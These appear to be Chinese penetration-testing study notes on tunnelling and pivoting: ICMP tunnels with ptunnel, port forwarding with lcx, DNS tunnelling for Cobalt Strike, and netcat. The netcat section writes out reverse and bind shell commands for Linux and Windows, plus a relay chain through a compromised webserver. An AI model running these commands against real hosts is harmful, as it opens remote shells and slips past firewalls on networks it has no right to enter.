1.前置知识:
1)代理和隧道技术区别:
代理主要是解决访问问题,而隧道用于在数据通信被拦截的情况下封装改变通信协议进行绕过拦截。
2)具体介绍:
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统(ips/ids)来检查对外连接情况,如果发现异样,就会对通信进行阻断。
那么什么是隧道呢? 这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
3)具体解决:
已经获得一定的控制权,但是不能对控制的东⻄进行信息收集或执行它上面的东⻄,在数据通信被拦截的情况下,利用隧道技术封装改变通信协议进行:绕过拦截CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。
4)常用的隧道技术有以下三种:
网络层:IPV6隧道、ICMP隧道传输层:TCP、UDP、端口转发应用层:SSH、HTTP/S隧道、DNS隧道
2.演示案例:
3.网络、传输、应用层—检测连接通信:
1)TCP协议
用瑞士军刀-netcat 执行nc命令:nc<端口>
2)HTTP协议
用“curl”工具,执行curl命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3)ICMP协议
用"ping"命令,执行ping
4)DNS协议
检测DNS连通性常用的命令是"nslookup"和"dig" nslookup是Windows自带的DNS探测命令 dig是Linux系统自带的DNS探测命令
4.网络层ICMP隧道 ptunnel(老工具,可以使用新的)—使用检测利用:
pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具:
-p 表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp 表示需要监听的本地 tcp 端口 -da 指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x 设置连接的密码
Webserver:./ptunnel -x xiaodi
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的 3389 请求数据给本地 1080
Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
kali-Target2-Target3:
自动弹出连接窗口:
5.传输层转发隧道Portmap—使用检测利用:
端口转发,测试环境是域环境。
Windows环境: lcx 工具
Linux环境: portmp工具
lcx -slave 攻击IP 3131 127.0.0.1 3389 //将本地 3389 给攻击 IP 的 3131端口 lcx -listen 3131 3333 //监听 3131 转发至 3333
6.传输层转发隧道 Netcat命令 使用—检测,利用,功能:
1.双向连接反弹shell:
正向:攻击机连接受害主机
受害机:nc -ldp 1234 -e /bin/sh //linux反弹shell会话
nc -ldp 1234 -e c:windowssystem32cmd.exe //windows反弹cmd会话
攻击机:nc 192.168.76.132 1234 //主动连接受害机ip和端口,接收到会话
//攻击者能找到并连接受害主机就正向连接,连接不到就让受害机反向连接攻击主机。
反向:受害主机连接攻击机
攻击机:nc -lvp 1234 //监听端口等待受害机连接
受害机:nc 攻击主机IP 1234 -e /bin/sh
nc 攻击主机IP 1234 -e c:windowssystem32cmd.exe
//受害主机将shell给到攻击机,攻击机接收到会话,实现反向连接。
正向连接:将虚拟机的shell反弹给本机,本机去连接:
注意netcat版本支不支持-e参数。
利用上边提到的端口转发工具,sqlserver与webserver处于同一网段(192.168.3.31),攻击主机kali处于76网段,只能控制webserver服务,无法与sqlserver ping通,此时就需要用反向连接:
2.多向连接反弹 shell-配合转发 反向: godWebserver:Lcx.exe -listen 2222 3333 //端口转发 godSqlserver:nc 192.168.3.31 2222 -e c:windowssystem32cmd.exe //将shell给到webserver的2222端口 kali 或本机:nc -v 192.168.76.143 3333 //监听控制的webserver的3333端口
实现kali得到sqlserver的shell。
并且netcat基于tcp协议传递,还可实现:
3.相关 netcat 主要功能测试: 指纹服务:nc -nv 192.168.76.143 端口扫描:nc -v -z 192.168.76.143 1-100 端口监听:nc -lvp xxxx 文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1 反弹 Shell:见上
7.应用层 DNS 隧道配合CS 上线-检测,利用,说明:
当http协议被防火墙检测或拦截,我们就需要监听其他协议服务,数据包通过其他协议来传输:
当常⻅协议监听器被拦截时,可以换其他协议上线,其中的dns协议上线基本通杀:
我们在自己买的服务器域名前添加这三个前缀,然后cs设置dns监听并生成后门,不过速度比较慢,响应图标也于其他协议的不同。
具体操作流程见:内网学习笔记(四)
8.隧道的意义:
测试的协议可能会被拦截就需要换协议测试。比如有个网站是有80端口 、http服务的,有漏洞,但访问不了,一访问就断断续续或直接访问不到。 原因可能是对方防火墙禁止你的IP访问或者检测到有异常,用不了http协议,我们要换个协议去搞,通过隧道封装成其他协议来搞,上边的案例cs上线就是如此。就是变化/走不通协议来实现通信,此处仅演示了这几个协议,并不全,其他协议需要自己学习积累。



